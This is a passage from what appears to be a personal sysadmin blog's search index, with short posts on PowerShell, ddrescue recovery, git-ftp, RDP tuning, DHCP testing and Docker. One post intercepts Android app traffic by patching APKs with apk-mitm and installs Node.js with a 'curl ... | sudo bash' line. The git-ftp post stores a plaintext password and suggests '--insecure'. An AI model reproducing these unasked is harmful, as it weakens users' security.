startscan\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI save this file on the WSUS server itself at \u003ccode\u003ehttp://wsus.domain.local:8530/script.txt\u003c/code\u003e so I can download and run it from the DMZ environment.\u003c/p\u003e","title":"Configure WSUS client with Powershell and Regedit"},{"content":"I write a simple loop to get all the ACSII images from cowsay :)\nHere you can download the TXT file:\ncowsay Download\nHappy cowsay!\n","permalink":"https://blog.wapnet.nl/2022/04/cowsay-all-animals-and-images/","summary":"\u003cp\u003eI write a simple loop to get all the ACSII images from cowsay :)\u003c/p\u003e\n\u003cp\u003eHere you can download the TXT file:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2022/04/cowsay.txt\"\u003ecowsay\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2022/04/cowsay.txt\"\u003eDownload\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHappy cowsay!\u003c/p\u003e","title":"Cowsay all animals and images"},{"content":"With Powershell ISE you can use CTRL + SPACE for auto completion.\nBut when you work in a native Powershell window you don\u0026rsquo;t have this option. And many often you cycle with tab completion trough the powershell and because you press the TAB button too soon you have to remove characters and cycle again trough all the commands.\nUnit now ;-)\nThere is an easy fix you can implement so the Powershell have the same auto completion like bash.\nType notepad $profile for Windows or gedit $profile for Linux Add the line Set-PSReadlineKeyHandler -Key Tab -Function MenuComplete Save the file and restart Powershell And now you have a much better working tab completion Happy coding :)\n","permalink":"https://blog.wapnet.nl/2022/04/powershell-better-tab-autocomplete/","summary":"\u003cp\u003eWith Powershell ISE you can use CTRL + SPACE for auto completion.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2022/04/image.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eBut when you work in a native Powershell window you don\u0026rsquo;t have this option. And many often you cycle with tab completion trough the powershell and because you press the TAB button too soon you have to remove characters and cycle again trough all the commands.\u003c/p\u003e\n\u003cp\u003eUnit now ;-)\u003c/p\u003e\n\u003cp\u003eThere is an easy fix you can implement so the Powershell have the same auto completion like bash.\u003c/p\u003e","title":"Powershell better tab autocomplete"},{"content":"I find this code snippet somewhere on the internet and I like it :)\nJust open ISE and paste these code and you are ready to rock!\n$ErrorActionPreference= \u0026#39;silentlycontinue\u0026#39; $psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Clear() $psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add(\u0026#34;Switch to PowerShell 7\u0026#34;, { function New-OutOfProcRunspace { param($ProcessId) $ConnInfo = New-Object -TypeName System.Management.Automation.Runspaces.NamedPipeConnectionInfo -ArgumentList @($ProcessId) $DefaultType = [System.Management.Automation.Runspaces.TypeTable]::LoadDefaultTypeFiles() $Runspace = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace($ConnInfo, $Host, $Default) $Runspace.Open() $Runspace } $PowerShell = Start-Process PWSH -ArgumentList @(\u0026#34;-NoExit\u0026#34;) -PassThru -WindowStyle Hidden $Runspace = New-OutOfProcRunspace -ProcessId $PowerShell.Id $Host.PushRunspace($Runspace) }, \u0026#34;ALT+F5\u0026#34;) | Out-Null $psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add(\u0026#34;Switch to PowerShell 5\u0026#34;, { $Host.PopRunspace() $ChildProc = Get-CimInstance -ClassName win32_process | where {$_.ParentProcessId -eq $Pid} $ChildProc | ForEach-Object { Stop-Process -Id $_.ProcessId } }, \u0026#34;ALT+F6\u0026#34;) | Out-Null Happy coding!\n","permalink":"https://blog.wapnet.nl/2022/04/add-powershell-7-to-your-powershell-ise/","summary":"\u003cp\u003eI find this code snippet \u003ca href=\"http://eddiejackson.net/lab/2021/05/22/powershell-add-ise-support-for-current-powershell-version-core/\"\u003esomewhere on the internet\u003c/a\u003e and I like it :)\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2022/04/afbeelding.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eJust open ISE and paste these code and you are ready to rock!\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ErrorActionPreference= \u0026#39;silentlycontinue\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Clear()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add(\u0026#34;Switch to PowerShell 7\u0026#34;, {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        function New-OutOfProcRunspace {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            param($ProcessId)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            $ConnInfo = New-Object -TypeName System.Management.Automation.Runspaces.NamedPipeConnectionInfo -ArgumentList @($ProcessId)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            $DefaultType = [System.Management.Automation.Runspaces.TypeTable]::LoadDefaultTypeFiles()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            $Runspace = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace($ConnInfo, $Host, $Default)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            $Runspace.Open()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            $Runspace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        $PowerShell = Start-Process PWSH -ArgumentList @(\u0026#34;-NoExit\u0026#34;) -PassThru -WindowStyle Hidden\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        $Runspace = New-OutOfProcRunspace -ProcessId $PowerShell.Id\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        $Host.PushRunspace($Runspace)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}, \u0026#34;ALT+F5\u0026#34;) | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$psISE.CurrentPowerShellTab.AddOnsMenu.Submenus.Add(\u0026#34;Switch to PowerShell 5\u0026#34;, {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $Host.PopRunspace()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $ChildProc = Get-CimInstance -ClassName win32_process | where {$_.ParentProcessId -eq $Pid}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $ChildProc | ForEach-Object { Stop-Process -Id $_.ProcessId }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}, \u0026#34;ALT+F6\u0026#34;) | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHappy coding!\u003c/p\u003e","title":"Add Powershell 7 to your Powershell ISE"},{"content":"Today I update my dual boot system and unfortunately my Debian OS wasn\u0026rsquo;t booting anymore. The root cause was that Windows decide to reclaim the EFI boot.\nThe fix is quite easy.\nType mountvol P: /S\nCheck the EFI boot partition data\nAnd fix your boot the this command:\nbcdedit.exe /set {bootmgr} path \\EFI\\Debian\\grubx64.efi\nAs you can see in the screenshot, this also work for EndeavourOS and Ubuntu and probably for a lot other Linux EFI boot systems.\nHappy booting!\n","permalink":"https://blog.wapnet.nl/2022/03/repair-debian-boot-after-windows-update/","summary":"\u003cp\u003eToday I update my dual boot system and unfortunately my Debian OS wasn\u0026rsquo;t booting anymore. The root cause was that Windows decide to reclaim the EFI boot.\u003c/p\u003e\n\u003cp\u003eThe fix is quite easy.\u003c/p\u003e\n\u003cp\u003eType \u003ccode\u003emountvol P: /S\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eCheck the EFI boot partition data\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2022/03/image.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eAnd fix your boot the this command:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ebcdedit.exe /set {bootmgr} path \\EFI\\Debian\\grubx64.efi\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAs you can see in the screenshot, this also work for EndeavourOS and Ubuntu and probably for a lot other Linux EFI boot systems.\u003c/p\u003e","title":"Repair Debian boot after Windows update"},{"content":"A friend of mine came back from vacation where he had taken a lot of pictures. When he got back home a large part of his Micro SD card (exFAT partition) was no longer accessible so he missed a couple of weeks of his photos and videos. His Windows Operating System froze completely when it hit a rotten cluster during a file copy action. So we had to find another solution to get his files back.\nThe first step I tried was to get the data from the SD card via Linux with ddrescue. With ddrecue, you create and complete dump of the SD card (or the sdb1 partition only). So you can do the data recovery on the image file (backup1.img) and not on the already corrupted SD Card.\nThe command you can use is:\nddrescue -d /dev/sdb1 /media/thomas/backup1.img /media/thomas/backup1.mapfile But Linux also had also trouble reading when I hit a bad cluster. The only thing I could do during the read issues was a physical disconnect of the USB adapter, reconnect the adapter and restart the ddrescue process. The reason of was that a dual SD card adapter was used:\nMicro SD \u0026gt; SD \u0026gt; SD \u0026gt; USB\n(spoiler ALERT!: Never use multiple adapters for data recovery!!!)\nBecause ddrescue has a mapfile it goes further where he was stopped the last time.\nWhile debugging I wrote a simple loop that forced a \u0026ldquo;physical\u0026rdquo; disconnection of the USB adapter wait one sec and reconnect the devices without touching anything.\nSource of the USBReset(fork)\nThis works but is a very very slow process. This will takes months to recover so I had to find another way.\n#!/bin/bash ## Steps to Prepare: # lsusb check card reader and change the /dev/bus # Start script in usbreset folder # Run as sudo # mount disk (media / thomas) while true do echo \u0026#34;Let\u0026#39;s try Again!\u0026#34; ddrescue -d /dev/sdb1 /media/thomas/4905eb31-1df4-49bb-bb75-ec4889641d20/backup1.img /media/thomas/4905eb31-1df4-49bb-bb75-ec4889641d20/backup1.mapfile sleep 1 ./usbreset /dev/bus/usb/001/004 sleep 1 done The funny thing is that it was Sinterklaas time and that my daughter had just received a vtech kiddy photo camera with a Micro SD to USB adapter included :D\nSo I try new new adapter: Micro SD \u0026gt; USB and with success.\nAnd after almost 15 hours the result 99.98% rescued rate :)\nDuring my search for a solution I found some interesting articles:\nhttps://www.pandorarecovery.com/blog/recover-data-from-sd-card-on-linux/ https://www.technibble.com/guide-using-ddrescue-recover-data/ https://www.hamishmb.com/blog/tutorial-use-photorec-ddrescue-gui-recover-deleted-files/ https://ncrmnt.org/2017/05/12/data-recovery-sd-ddrescue-and-android/ https://www.gnu.org/software/ddrescue/ https://gist.github.com/L0g0ff/3cd99199c820cb518d0c7eef1dd2c771 Happy recovering!\n","permalink":"https://blog.wapnet.nl/2022/02/corrupt-sd-card-recovery/","summary":"\u003cp\u003eA friend of mine came back from vacation where he had taken a lot of pictures. When he got back home a large part of his Micro SD card (exFAT partition) was no longer accessible so he missed a couple of weeks of his photos and videos. His Windows Operating System froze completely when it hit a rotten cluster during a file copy action. So we had to find another solution to get his files back.\u003c/p\u003e","title":"Corrupt SD Card Recovery"},{"content":"There are 2 ways to run an executable within powershell without any errors\n$exe = 'C:\\scripts\\Everything.exe' $param1 = '-reindex' \u0026amp; $exe $param1\nOr with a \u0026ndash;% attribute\nC:\\windows\\system32\\sc.exe --% qc bits\n","permalink":"https://blog.wapnet.nl/2022/01/powershell-run-exe-files/","summary":"\u003cp\u003eThere are 2 ways to run an executable within powershell without any errors\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e$exe = 'C:\\scripts\\Everything.exe' $param1 = '-reindex' \u0026amp; $exe $param1\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eOr with a \u0026ndash;% attribute\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eC:\\windows\\system32\\sc.exe --% qc bits\u003c/code\u003e\u003c/p\u003e","title":"Powershell run *.exe files"},{"content":"I was working for an elementary website of a friend of mine. I pushed the website to GitHub so it\u0026rsquo;s was way easier to maintain the site.\nBut I thought it must be easier than transferring all the changes every time by an FTP program. So I found git-ftp and of course FTPS didn\u0026rsquo;t work out of the box ;)\nWindows What you have to do to enable GIT FTP (on Windows)\nFirst start an ssh sessions from powershell\nssh username@SOMEHOSTNAME This will add the public key to you known host. Otherwise you will get this error later\nfatal: Can\u0026#39;t access remote \u0026#39;sftp://SOMEUSER:***@SOMEHOSTNAME\u0026#39;. Network down? Wrong URL? exiting... You can see this with the -vv parameter\ngit ftp init -vv Now it\u0026rsquo;s time to install git-ftp\nFirst go to c:\\program files\\git Then run git-bash as administrator And install git-ftp (bin is an alias for program files)\n$ curl https://raw.githubusercontent.com/git-ftp/git-ftp/master/git-ftp \u0026gt; /bin/git-ftp $ chmod 755 /bin/git-ftp No go to your project and enter these commands\ngit config git-ftp.user SOMEUSERNAME git config git-ftp.url sftp://SOMEHOSTNAME/public/sites/SOMEWEBSITE/ git config git-ftp.password SOMEPASSWORD git ftp init And the next time you make a change you only have to do\ngit ftp push Linux (Debian) For linux the steps are much easier.\nFirst start an ssh sessions from bash\nssh username@SOMEHOSTNAME This will add the public key to you known host. Otherwise you will a error later.\nNow install ftp-git\n$ sudo apt install git-ftp No go to your project and enter these commands\ngit config git-ftp.user SOMEUSERNAME git config git-ftp.url sftp://SOMEHOSTNAME/public/sites/SOMEWEBSITE/ git config git-ftp.password SOMEPASSWORD git ftp init And the next time you make a change you only have to do\ngit ftp push When you get an errors like these:\nzo 19 dec 2021 23:11:50 CET: Retrieving last commit from sftp://******:***@s*******/public/sites/*********/. * Trying *********:22... * Connected to ******* (********) port 22 (#0) * Found host ******** in /home/******/.ssh/known_hosts * Set \u0026#34;ecdsa-sha2-nistp256\u0026#34; as SSH hostkey type * Closing connection 0 curl: (79) Error in the SSH layer zo 19 dec 2021 23:11:50 CET: fatal: Could not get last commit. Use \u0026#39;git ftp init\u0026#39; for the initial push. Can\u0026#39;t access remote \u0026#39;sftp://******:***@********\u0026#39;. Network down? Wrong URL? exiting.. Then try the --insecure parameter\ngit ftp push -vv --insecure Happy uploading :)\n","permalink":"https://blog.wapnet.nl/2021/12/git-sftp/","summary":"\u003cp\u003eI was working for an elementary website of a friend of \u003ca href=\"https://www.fl-hair.nl\"\u003emine\u003c/a\u003e. I pushed the website to GitHub so it\u0026rsquo;s was way easier to maintain the site.\u003c/p\u003e\n\u003cp\u003eBut I thought it must be easier than transferring all the changes every time by an FTP program. So I found \u003ca href=\"https://github.com/git-ftp/git-ftp\"\u003egit-ftp\u003c/a\u003e and of course FTPS didn\u0026rsquo;t work out of the box ;)\u003c/p\u003e\n\u003ch2 id=\"windows\"\u003eWindows\u003c/h2\u003e\n\u003cp\u003eWhat you have to do to enable GIT FTP (on Windows)\u003c/p\u003e","title":"Git SFTP"},{"content":"Pfff I\u0026rsquo;ve had a battery drain for weeks on my Oneplus device (you know that your phone battery drains faster than you would expect). But that drain was not visible in the android battery overview.\nI had already installed an app (betterbattrystats) that give you more information about the drain. With betterbatterystats I found out that logd could be the issue, but logd is a log service so it should not be a root cause.\nSo I found out that you could just start a task manager (top) from the Android debug tools. What seems; the youtube music app was draining my battery. Even though I don\u0026rsquo;t even use it. You can\u0026rsquo;t delete that app either so I forced stopped it and now everything is quiet.\nReally wtf; I am a tech guy and have to put in so much effort to figure this out. How many people don\u0026rsquo;t have the same issues but just accept it?\nHow can you fix this? First install ADB Put your phone in development mode Start top adb shell top -m 20 -d 2 Here you can see the logd and the com.google.and+\nTo figure out what PID 9036 is\nadb shell ps | grep 9036 And voila; the root cause\u0026hellip;. Youtube music\nSo I turned off the Youtube app and now everything looks nice!\nPlease google don\u0026rsquo;t hide you shitty services from the android battery overview!\nHappy debugging!\n","permalink":"https://blog.wapnet.nl/2021/11/android-logd-battery-drain/","summary":"\u003cp\u003ePfff I\u0026rsquo;ve had a battery drain for weeks on my Oneplus device (you know that your phone battery drains faster than you would expect). But that drain was not visible in the android battery overview.\u003c/p\u003e\n\u003cp\u003eI had already installed an app (betterbattrystats) that give you more information about the drain. With betterbatterystats I found out that logd could be the issue, but logd is a log service so it should not be a root cause.\u003c/p\u003e","title":"Android LOGD battery drain"},{"content":"I had to check my DHCP configuration for a Dell Wyse Thin Client. But when you configure specific options like 161 and 162 you don\u0026rsquo;t see that options in a Wireshark capture during a Windows DHCP request.\nLuckily for us CyberShadow created a great tool to test some specific DHCP settings an he even make it open source: https://github.com/CyberShadow/dhcptest\nThis DHCP tool have 2 great features:\nYou can do a request for specific DHCP option You can send a vendor class so in my case I can pretend to be a Wyse Thin client. DHCP Request Option This will only work when you have configured Global DHCP settings.\ndhcptest.exe --query --request 161 DHCP Vendor Class First I had to figure what the vendor class was. I checked this on the DHCP server:\nOr on a Thin client itself:\nThen run this command:\ndhcptest.exe --query --option \u0026#34;60=wyse-1000\u0026#34; And you will get Vendor Specific Information in Hex.\nYou can do different things to translate the Hex into readable data.\nCompile the open source yourself yourself and create a output in a string Use a (online) hex convertor Open wireshark during the capture. Wireshark will translate this for you :) Compile the tool Download the git repo git clone https://github.com/CyberShadow/dhcptest.git Edit the file (add these 2 lines) 161 : DHCPOptionSpec(\u0026#34;File Server\u0026#34;, OptionFormat.str), 162 : DHCPOptionSpec(\u0026#34;Root Path to the File Server\u0026#34;, OptionFormat.str), Download DMD for Windows: https://dlang.org/download.html Install the DMD compiler Compile the dhcptest tool dmd dhcptest.d This will create a exe for you and will translate the Hex to readable format.\nHappy sniffing!\n","permalink":"https://blog.wapnet.nl/2021/11/dhcp-test-tool/","summary":"\u003cp\u003eI had to check my DHCP configuration for a Dell Wyse Thin Client. But when you configure specific options like 161 and 162 you don\u0026rsquo;t see that options in a Wireshark capture during a Windows DHCP request.\u003c/p\u003e\n\u003cp\u003eLuckily for us CyberShadow created a great tool to test some specific DHCP settings an he even make it open source: \u003ca href=\"https://github.com/CyberShadow/dhcptest\"\u003ehttps://github.com/CyberShadow/dhcptest\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis DHCP tool have 2 great features:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eYou can do a request for specific DHCP option\u003c/li\u003e\n\u003cli\u003eYou can send a vendor class so in my case I can pretend to be a Wyse Thin client.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"dhcp-request-option\"\u003eDHCP Request Option\u003c/h1\u003e\n\u003cp\u003eThis will only work when you have configured Global DHCP settings.\u003c/p\u003e","title":"DHCP Test Tool"},{"content":"I like Wireshark. But I don\u0026rsquo;t like to install software on a server for troubleshooting purposes. Especially when you need software like PCAP to sniff some network data.\nBut what you can do is capture data data with netsh, copy the data to your workstation, convert the data so you can read it with wireshark and do you thing.\nCapture the data Run this command to capture the data (elevated command prompt)\nnetsh trace start capture = yes ipv4.address = x.x.x.x And stop the capture when you are done\nnetsh trace stop Copy the files to you computer\nConvert the capture Download the etl2pcapng converter from the MS Github repo: https://github.com/microsoft/etl2pcapng\nConvert the data\netl2pcapng.exe NetTrace.etl out.pcapng You can open the out.pcapng file and do you thing.\nHappy Troubleshooting!\n","permalink":"https://blog.wapnet.nl/2021/11/windows-network-package-capture-without-installing-anything-on-the-server/","summary":"\u003cp\u003eI like Wireshark. But I don\u0026rsquo;t like to install software on a server for troubleshooting purposes. Especially when you need software like PCAP to sniff some network data.\u003c/p\u003e\n\u003cp\u003eBut what you can do is capture data data with netsh, copy the data to your workstation, convert the data so you can read it with wireshark and do you thing.\u003c/p\u003e\n\u003ch1 id=\"capture-the-data\"\u003eCapture the data\u003c/h1\u003e\n\u003cp\u003eRun this command to capture the data (elevated command prompt)\u003c/p\u003e","title":"Windows network package capture without installing anything (on the server)"},{"content":"For me, this was a pain in the ass for a long time. When I connect to a Windows server through RDP/RDS it sometimes takes more than 2 minutes to connect to a server. Today after some waiting, and waiting and some more waiting I did a deep dive with Wireshark to figure out why it was so slow.\nMy setup Azure domain joined Windows 10 device (Laptop) Connection over a Cisco Anyconnect VPN Remote Desktop Manager (Devolutions) Native RDP client MremoteNG Remote VS local I know for sure the issue should be in my setup. Because when I connect first to a jump host (RDP) and then connect to other domain-joined servers everything was connected almost immediately after I put in my user credentials.\nWhat to do (TL;DR) There are four things you have to modify to speed up the initial remote desktop connection speed:\nDisable SSL / TLS1.0 Disable Netbios on the VPN network adapter Disable automatic proxy settings in Windows Change the credential to domain.local\\admin or admin@domain.local instead of domain\\admin Disable SSL / TLS1.0 No, you don\u0026rsquo;t have to negotiate what protocol you have to use to connect a server. Use TLS1.2 or I don\u0026rsquo;t want to connect with you ;) So:\nHow to Start \u0026gt; Run \u0026gt; Regedit Go to: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\TLS 1.0\\Client If the TLS 1.0 and Client folders doesn\u0026rsquo;t exists create these keys Create a 32 DWORD value with the name Enabled Value data: 0 (Hex) Restart the client Disable Netbios on the VPN adapter What I was seeing in my Wireshark capture is that RDP was trying to broadcast to get information over NETBIOS. You have a DNS server so you don\u0026rsquo;t need a legacy broadcast protocol! Unfortunately, I don\u0026rsquo;t have any screenshot of the capture but you can always check yourself ;-)\nHow to Change the VPN Adapter and reboot the computer:\nDisable the proxy After connection to a server with RDP and you enter the credentials Windows is trying constantly to WPAD.domain.local to autoconfigure itself. WPAD stands for Web Proxy Auto-Discovery and I think you never want to autoconfigure a MITM ehh proxy device. You always want to have full control of your device. So, disable this to speed up the connection and make your device more secure.\nHow to Go to settings Search for proxy Switch the Automatically detect settings to Off Restart Windows Change the login name I found out that this is the most annoying and time consuming one. I always use DOMAIN\\User when I connect to a server. But this is what happens:\nKerberos is doing a DNS query on _kerberos._tcp.dc._msdcs.domain.domain.tld and of course he will never can find that double domain A record. But if you change the logon name to domain.tld\\admin or admin@domain.tld Kerberos will find the A record and connects immediately :)\nKerberos And even now it\u0026rsquo;s possible to tune the Kerberos authentication further and fix the last KRB5KDC_ERR_PREAUTH_REQUIRED error you can see in the screenshot. Maybe next time but for now I\u0026rsquo;m happy with the initial connection speed :)\nHappy hack ehh\u0026hellip; connecting!\n","permalink":"https://blog.wapnet.nl/2021/11/slow-initial-rdp-connection/","summary":"\u003cp\u003eFor me, this was a pain in the ass for a long time. When I connect to a Windows server through RDP/RDS it sometimes takes more than 2 minutes to connect to a server. Today after some waiting, and waiting and some more waiting I did a deep dive with Wireshark to figure out why it was so slow.\u003c/p\u003e\n\u003ch1 id=\"my-setup\"\u003eMy setup\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAzure domain joined Windows 10 device (Laptop)\u003c/li\u003e\n\u003cli\u003eConnection over a Cisco Anyconnect VPN\u003c/li\u003e\n\u003cli\u003eRemote Desktop Manager (Devolutions)\u003c/li\u003e\n\u003cli\u003eNative RDP client\u003c/li\u003e\n\u003cli\u003eMremoteNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"remote-vs-local\"\u003eRemote VS local\u003c/h1\u003e\n\u003cp\u003eI know for sure the issue should be in my setup. Because when I connect first to a jump host (RDP) and then connect to other domain-joined servers everything was connected almost immediately after I put in my user credentials.\u003c/p\u003e","title":"Slow initial RDP connection"},{"content":"It can be fun to reverse engineer some android applications. I think it\u0026rsquo;s better to do this on your workstation instead of your phone because it\u0026rsquo;s way more flexible and you don\u0026rsquo;t ruin your phone when you break things ;)\nIn my case, I use Debian 11. But of course, you can do this with any OS.\nRequirements An app you want to debug OWASP ZAP Proxy Genymotion NPM APK Export (Android App) OWASP ZAP Proxy I use the snap package for ZAP because it\u0026rsquo;s easy to install and you\u0026rsquo;ve always the latest version.\n$ sudo snap install zaproxy --classic Start ZAP and export the dynamic certificate (tools \u0026gt; options)\nClick on the save button an place the file somewhere on your disk. You can check if the OWASP ZAP is running with:\n$ netstat -tulpen | grep 8080 tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1000 89190 14016/java Genymotion Now the proxy is in place it\u0026rsquo;s time to install genymotion for the android emulation. First install virtualbox.\nInstall virtualbox APT keys\n$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add - $ wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add - Edit the /etc/apt/sources file and add this line:\ndeb [arch=amd64] https://download.virtualbox.org/virtualbox/debian bullseye contrib Update the repo and install virtualbox\n$ sudo apt-get update $ sudo apt-get install virtualbox-6.1 Now go the the genymotion website and download the latest bin file Make the file executable and run the installer $ chmod +x genymotion-3.2.1-linux_x64.bin $ ./genymotion-3.2.1-linux_x64.bin Follow the wizards, create an genymotion account and create a new virtual device. In my example I used a google Pixel 3 with Android 10. Now it\u0026rsquo;s time to configure the proxy within the android device!\nConfigure proxy in Android Start the created virtual genymotion android device and copy the certificate file we create earlier with a simple drag and drop.\nNow we can can configure the proxy in the wifi settings. Go to settings \u0026gt; search for certificate and install the certificate. Edit the wifi connection, add the proxy and restart the wifi.\nEdit the Wifi Go to the advance options Set the proxy to Manual The IP is always: 10.0.3.2 This is the \u0026ldquo;localhost\u0026rdquo; setting for the genymotion host server Port 8080 When you (re)connect the the wifi you have the accept the proxy error (but this is a good thing).\nNow you will see all the traffic. But only the traffic for the apps who respect the android HTTP_PROXY settings. So this is what you can do when an app don\u0026rsquo;t respect this setting:\nRebuild the APK with APK-MITM Now everything is in place. So the last thing we need to do is rebuild the APK file so we can proxing all the network traffic. So:\nFirst export the APK file trough the APK Export Place the APK somewhere on your disk Install npm (at least version 14) $ curl -sL https://deb.nodesource.com/setup_14.x | sudo bash - $ sudo apt-get install nodejs npm Install java $ sudo apt install openjdk-17-jre openjdk-17-jdk And rebuild the APK $ npx apk-mitm SomeAppName.apk And here we go! Everything is in place now. So the only thing you have to do is drag \u0026amp; drop the *-patched.apk file to genymotion, install this file and you are fully in control :)\nHappy hacking!\n","permalink":"https://blog.wapnet.nl/2021/10/owasp-zap-proxy-with-android-on-genymotion/","summary":"\u003cp\u003eIt can be fun to reverse engineer some android applications. I think it\u0026rsquo;s better to do this on your workstation instead of your phone because it\u0026rsquo;s way more flexible and you don\u0026rsquo;t ruin your phone when you break things ;)\u003c/p\u003e\n\u003cp\u003eIn my case, I use Debian 11. But of course, you can do this with any OS.\u003c/p\u003e\n\u003ch1 id=\"requirements\"\u003eRequirements\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAn app you want to debug\u003c/li\u003e\n\u003cli\u003eOWASP ZAP Proxy\u003c/li\u003e\n\u003cli\u003eGenymotion\u003c/li\u003e\n\u003cli\u003eNPM\u003c/li\u003e\n\u003cli\u003eAPK Export (Android App)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"owasp-zap-proxy\"\u003eOWASP ZAP Proxy\u003c/h1\u003e\n\u003cp\u003eI use the snap package for ZAP because it\u0026rsquo;s easy to install and you\u0026rsquo;ve always the latest version.\u003c/p\u003e","title":"OWASP ZAP Proxy with Android on Genymotion"},{"content":"Attach to a container\ndocker exec -i -t container_name /bin/bash List images\ndocker image ls List all existing containers\ndocker ps -a Delete a image\ndocker image rm image_name Delete all images\ndocker image rm $(docker images -a -q) Stop a container\ndocker stop container_name Stop all running containers\ndocker stop $(sudo docker ps -a -q) Delete a container\ndocker rm container_name Delete all containers\ndocker rm $(docker ps -a -q) Display logs of a container\ndocker logs container_name ","permalink":"https://blog.wapnet.nl/2021/09/some-useful-docker-commands/","summary":"\u003cp\u003eAttach to a container\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker exec -i -t container_name /bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eList images\u003c/p\u003e\n\u003cdiv 